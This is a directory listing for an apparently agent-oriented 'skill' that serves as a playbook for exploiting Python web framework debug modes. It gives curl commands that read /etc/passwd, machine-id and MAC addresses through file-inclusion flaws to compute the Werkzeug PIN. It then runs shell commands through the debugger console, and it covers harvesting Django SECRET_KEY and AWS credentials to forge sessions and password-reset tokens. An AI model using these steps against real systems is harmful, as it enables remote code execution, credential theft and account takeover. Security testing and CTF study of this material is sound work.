SuperAPI AI Directory

python-web-debug

Coding & development

View repository

Updated 10-16 08:08

About this skill

Python Web Debug mode exploitation

The Debug mode of Python Web frameworks is one of the most dangerous configuration mistakes left by developers—the Werkzeug debugger directly provides an interactive Python shell (RCE), Django DEBUG=True leaks the complete configuration and source code paths, and FastAPI /docs exposes all API endpoints.

Phase 0: Quick identification

Signal Framework Severity level
/console path accessible Flask/Werkzeug 🔴 RCE (requires PIN)
Error page displays Werkzeug Debugger Flask 🔴 RCE
Yellow error page + Settings + Traceback Django 🟠 Information disclosure
/docs or /redoc accessible FastAPI 🟡 API exposure
Error page contains Python traceback + source code paths Any 🟡 Information disclosure
X-Powered-By: Werkzeug or Server: Werkzeug Flask Identify framework
404 page contains Not Found. The requested URL was not found Flask default Identify framework

Phase 1: Werkzeug Debugger RCE (highest priority)

The Werkzeug debugger provides an interactive Python console in Debug mode, but since Werkzeug 0.11+ it requires PIN code verification.

1.1 Check whether /console is accessible

curl -s http://TARGET/console
# 如果返回 HTML 中包含 "Werkzeug Debugger" → 可利用
# 如果需要 PIN → 继续 PIN 计算

1.2 PIN calculation

The PIN is generated from the following 6 values (the get_pin_and_cookie_name function in the Werkzeug source code):

# Variable How to obtain
1 username Username running Flask → /etc/passwd or leaked by the error page
2 modname usually flask.app
3 getattr(app, '__name__', type(app).__name__) usually Flask
4 getattr(mod, '__file__', None) Flask's app.py path → leaked by the error page
5 uuid.getnode() Network interface MAC address → /sys/class/net/eth0/address
6 get_machine_id() /etc/machine-id or /proc/sys/kernel/random/boot_id(take the first available value) + /proc/self/cgroup fragment

Complete PIN calculation algorithm → read references/werkzeug-pin-calculation.md

1.3 Read necessary files

Usually needs to be read through LFI/SSRF/error message disclosure:

# MAC 地址(去掉冒号,转为十进制)
curl http://TARGET/vuln?file=/sys/class/net/eth0/address
# 02:42:ac:11:00:02 → 0x0242ac110002 → 2485377892354

# machine-id
curl http://TARGET/vuln?file=/etc/machine-id
# 如果不存在,用 boot_id:
curl http://TARGET/vuln?file=/proc/sys/kernel/random/boot_id

# cgroup(Docker 环境中需要)
curl http://TARGET/vuln?file=/proc/self/cgroup
# 取第一行最后一个 / 后的内容(容器 ID)

# 运行用户
curl http://TARGET/vuln?file=/etc/passwd
# 或从错误页面的 traceback 中提取路径 /home/USERNAME/...

1.4 Exploitation after obtaining the PIN

# 1. 访问 /console,输入 PIN
# 2. 在 Python console 中执行命令:
import os; os.popen('id').read()
import os; os.popen('cat /flag*').read()

# 3. 或通过 API 调用(不需要浏览器):
# 先获取 PIN cookie
curl 'http://TARGET/console?__debugger__=yes&cmd=pinauth&pin=PIN_CODE&s=SECRET'
# SECRET 从 /console 页面的 HTML 中提取

# 然后执行命令
curl 'http://TARGET/console?__debugger__=yes&cmd=__import__("os").popen("id").read()&frm=0&s=SECRET' \
  -H 'Cookie: __wzd..=PIN_COOKIE'

Werkzeug 2.1+ uses the SHA-1 algorithm to generate the PIN (previously MD5), and the calculation script needs to distinguish between versions.

Phase 2: Django DEBUG=True information disclosure

2.1 Trigger the debug page

# 访问不存在的 URL → Django 会显示所有 URL 配置
curl http://TARGET/nonexistent_path_12345/

# 触发错误 → 显示完整 traceback + 源码 + settings
curl http://TARGET/api/test?id='

2.2 Extract sensitive information

Django debug page leaks:

  • Settings: SECRET_KEY, database configuration, AWS credentials, mail server
  • URL configuration: all routes including the admin backend path
  • Traceback: source code snippets, file paths, local variable values
  • Request information: Cookie, Session data
关键搜索:
SECRET_KEY → 可伪造 session/CSRF token
DATABASE → 数据库连接信息
AWS_ACCESS_KEY → 云凭据
ALLOWED_HOSTS → 子域名信息

2.3 Django SECRET_KEY exploitation

After obtaining SECRET_KEY:

# 伪造 Django 签名数据 / session
# Django 默认使用 JSONSerializer;只有显式配置 PickleSerializer 的旧应用才存在 pickle 反序列化 RCE 风险
import django.core.signing
# 默认 JSON session 场景主要关注签名数据伪造;PickleSerializer 场景再参考 deserialization-methodology skill

# 伪造密码重置 Token
from django.contrib.auth.tokens import PasswordResetTokenGenerator

Phase 3: FastAPI /docs exposure

3.1 Detection

curl -s http://TARGET/docs     # Swagger UI
curl -s http://TARGET/redoc    # ReDoc
curl -s http://TARGET/openapi.json  # OpenAPI schema(最有价值)

3.2 Exploitation

/openapi.json contains the complete definition of all API endpoints—paths, methods, parameters, response formats:

# 下载完整 API 定义
curl -s http://TARGET/openapi.json | python3 -m json.tool

# 提取所有端点
curl -s http://TARGET/openapi.json | jq '.paths | keys[]'

# 重点关注:
# - /admin/ 路径下的管理接口
# - 含 delete/update/create 的端点
# - 含 user/role/permission 的端点
# - 含 file/upload/download 的端点

Phase 4: Tornado/Bottle/other frameworks

Tornado Debug mode

# Tornado debug=True 时,错误页面显示完整 traceback
# 但不像 Werkzeug 那样提供交互式 console
# 关注:源码路径、配置信息、cookie_secret 泄露

General Python error message exploitation

Error pages in Debug mode for any Python web framework may leak:

  • Filesystem paths → determine installation location and user
  • Environment variables → may contain secrets, credentials
  • Dependency versions → look up known CVEs
  • Database connection strings → direct database connection

Decision tree

发现 Python Web 应用
├── /console 可访问 → Werkzeug Debugger → PIN 计算 → RCE
├── 错误页面是 Django 黄色调试页 → 提取 SECRET_KEY → Session 伪造
├── /docs 或 /redoc 可访问 → FastAPI → API 枚举
├── 错误页面含 Python traceback → 信息收集(路径/用户/版本)
└── 以上都不是 → 主动触发错误(特殊字符/类型错误/长输入)

Reference resources